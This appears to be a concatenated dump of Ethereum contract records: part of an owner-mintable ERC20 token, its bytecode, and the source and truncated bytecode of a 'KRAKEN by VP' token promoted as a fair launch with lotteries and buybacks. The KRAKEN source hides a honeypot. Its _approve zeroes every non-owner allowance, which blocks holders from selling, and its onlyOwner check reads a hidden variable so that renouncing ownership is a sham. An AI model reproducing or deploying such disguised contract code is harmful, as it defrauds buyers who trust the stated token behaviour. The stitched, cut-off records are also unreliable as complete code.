{IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function mint(address account,uint256 amount) public onlyOwner { _mint(account,amount); } function burn(address account,uint256 amount) public onlyOwner { _burn(account,amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461029d578063a9059cbb146102cd578063dd62ed3e146102fd578063f2fde38b1461032d57610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b41146102635780639dc29fac1461028157610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806340c10f19146101ef57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610349565b60405161011a919061173b565b60405180910390f35b61013d600480360381019061013891906114b0565b6103db565b60405161014a9190611720565b60405180910390f35b61015b6103f9565b60405161016891906118dd565b60405180910390f35b61018b60048036038101906101869190611461565b610403565b6040516101989190611720565b60405180910390f35b6101a9610504565b6040516101b691906118f8565b60405180910390f35b6101d960048036038101906101d491906114b0565b61050d565b6040516101e69190611720565b60405180910390f35b610209600480360381019061020491906114b0565b6105b9565b005b610225600480360381019061022091906113fc565b610643565b60405161023291906118dd565b60405180910390f35b61024361068c565b005b61024d6107c6565b60405161025a9190611705565b60405180910390f35b61026b6107ef565b604051610278919061173b565b60405180910390f35b61029b600480360381019061029691906114b0565b610881565b005b6102b760048036038101906102b291906114b0565b61090b565b6040516102c49190611720565b60405180910390f35b6102e760048036038101906102e291906114b0565b6109ff565b6040516102f49190611720565b60405180910390f35b61031760048036038101906103129190611425565b610a1d565b60405161032491906118dd565b60405180910390f35b610347600480360381019061034291906113fc565b610aa4565b005b60606004805461035890611a41565b80601f016020809104026020016040519081016040528092919081815260200182805461038490611a41565b80156103d15780601f106103a6576101008083540402835291602001916103d1565b820191906000526020600020905b8154815290600101906020018083116103b457829003601f168201915b5050505050905090565b60006103ef6103e8610c4d565b8484610c55565b6001905092915050565b6000600354905090565b6000610410848484610e20565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610c4d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d2906117fd565b60405180910390fd5b6104f8856104e7610c4d565b85846104f39190611985565b610c55565b60019150509392505050565b60006012905090565b60006105af61051a610c4d565b848460026000610528610c4d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105aa919061192f565b610c55565b6001905092915050565b6105c1610c4d565b73ffffffffffffffffffffffffffffffffffffffff166105df6107c6565b73ffffffffffffffffffffffffffffffffffffffff1614610635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062c9061181d565b60405180910390fd5b61063f82826110a2565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610694610c4d565b73ffffffffffffffffffffffffffffffffffffffff166106b26107c6565b73ffffffffffffffffffffffffffffffffffffffff1614610708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ff9061181d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107fe90611a41565b80601f016020809104026020016040519081016040528092919081815260200182805461082a90611a41565b80156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b610889610c4d565b73ffffffffffffffffffffffffffffffffffffffff166108a76107c6565b73ffffffffffffffffffffffffffffffffffffffff16146108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f49061181d565b60405180910390fd5b61090782826111f7565b5050565b6000806002600061091a610c4d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ce9061189d565b60405180910390fd5b6109f46109e2610c4d565b8585846109ef9190611985565b610c55565b600191505092915050565b6000610a13610a0c610c4d565b8484610e20565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610aac610c4d565b73ffffffffffffffffffffffffffffffffffffffff16610aca6107c6565b73ffffffffffffffffffffffffffffffffffffffff1614610b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b179061181d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b879061179d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbc9061187d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c906117bd565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e1391906118dd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e879061185d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef79061175d565b60405180910390fd5b610f0b8383836113cd565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f89906117dd565b60405180910390fd5b8181610f9e9190611985565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611030919061192f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161109491906118dd565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611109906118bd565b60405180910390fd5b61111e600083836113cd565b8060036000828254611130919061192f565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611186919061192f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111eb91906118dd565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125e9061183d565b60405180910390fd5b611273826000836113cd565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f19061177d565b60405180910390fd5b81816113069190611985565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461135b9190611985565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113c091906118dd565b60405180910390a3505050565b505050565b6000813590506113e181611e4a565b92915050565b6000813590506113f681611e61565b92915050565b60006020828403121561140e57600080fd5b600061141c848285016113d2565b91505092915050565b6000806040838503121561143857600080fd5b6000611446858286016113d2565b9250506020611457858286016113d2565b9150509250929050565b60008060006060848603121561147657600080fd5b6000611484868287016113d2565b9350506020611495868287016113d2565b92505060406114a6868287016113e7565b9150509250925092565b600080604083850312156114c357600080fd5b60006114d1858286016113d2565b92505060206114e2858286016113e7565b9150509250929050565b6114f5816119b9565b82525050565b611504816119cb565b82525050565b600061151582611913565b61151f818561191e565b935061152f818560208601611a0e565b61153881611ad1565b840191505092915050565b600061155060238361191e565b915061155b82611ae2565b604082019050919050565b600061157360228361191e565b915061157e82611b31565b604082019050919050565b600061159660268361191e565b91506115a182611b80565b604082019050919050565b60006115b960228361191e565b91506115c482611bcf565b604082019050919050565b60006115dc60268361191e565b91506115e782611c1e565b604082019050919050565b60006115ff60288361191e565b915061160a82611c6d565b604082019050919050565b600061162260208361191e565b915061162d82611cbc565b602082019050919050565b600061164560218361191e565b915061165082611ce5565b604082019050919050565b600061166860258361191e565b915061167382611d34565b604082019050919050565b600061168b60248361191e565b915061169682611d83565b604082019050919050565b60006116ae60258361191e565b91506116b982611dd2565b604082019050919050565b60006116d1601f8361191e565b91506116dc82611e21565b602082019050919050565b6116f0816119f7565b82525050565b6116ff81611a01565b82525050565b600060208201905061171a60008301846114ec565b92915050565b600060208201905061173560008301846114fb565b92915050565b60006020820190508181036000830152611755818461150a565b905092915050565b6000602082019050818103600083015261177681611543565b9050919050565b6000602082019050818103600083015261179681611566565b9050919050565b600060208201905081810360008301526117b681611589565b9050919050565b600060208201905081810360008301526117d6816115ac565b9050919050565b600060208201905081810360008301526117f6816115cf565b9050919050565b60006020820190508181036000830152611816816115f2565b9050919050565b6000602082019050818103600083015261183681611615565b9050919050565b6000602082019050818103600083015261185681611638565b9050919050565b600060208201905081810360008301526118768161165b565b9050919050565b600060208201905081810360008301526118968161167e565b9050919050565b600060208201905081810360008301526118b6816116a1565b9050919050565b600060208201905081810360008301526118d6816116c4565b9050919050565b60006020820190506118f260008301846116e7565b92915050565b600060208201905061190d60008301846116f6565b92915050565b600081519050919050565b600082825260208201905092915050565b600061193a826119f7565b9150611945836119f7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561197a57611979611a73565b5b828201905092915050565b6000611990826119f7565b915061199b836119f7565b9250828210156119ae576119ad611a73565b5b828203905092915050565b60006119c4826119d7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a2c578082015181840152602081019050611a11565b83811115611a3b576000848401525b50505050565b60006002820490506001821680611a5957607f821691505b60208210811415611a6d57611a6c611aa2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611e53816119b9565b8114611e5e57600080fd5b50565b611e6a816119f7565b8114611e7557600080fd5b5056fea26469706673582212204798955108af5a21635b662433929ceb3864933263409a5f61953b1a5e23d32264736f6c63430008010033
{"success": true, "error": null, "results": {}}
7,693
0xceadc84dd332854ddf58d4fe6c1bd5802ff217e6
/* KRAKEN by VP 🏴‍☠️ The Kraken is a legendary monster of colossal proportions that originates from Nordic folklore. Striking fear into the hearts of every sailor, the Kraken's tentacles wield enough power to pull entire ships underwater, leaving the crew to either drown or to be its next meal. Rumor has it that the Kraken is guarding immense riches from its previous victims. Will we suffer the same fate...or will we lay claim to what the beast has stolen? 🚨ERC-20 ☠️ Fair launch ☠️ MASSIVE launch lottery that continues daily ☠️ Secret giveaways! ☠️ 7% distribution ☠️ Manual (announced) buybacks! ☠️ MONSTROUS Buyback Wallet ☠️ Huge marketing push! Launch date 🚀 August 8th And unlike other tokens, there is an actual endgame for KRAKEN! Yes, KRAKEN by VP has a defined lifespan and rewards those that have held until the end!! 💰 Telegram: t.me/KRAKENbyVP 💰 Twitter: twitter.com/Veritas_VP 💰 Website: veritasprojects.io/kraken */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract KRAKEN is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'KRAKEN by VP'; string private _symbol = 'KRAKEN 🐙️'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffff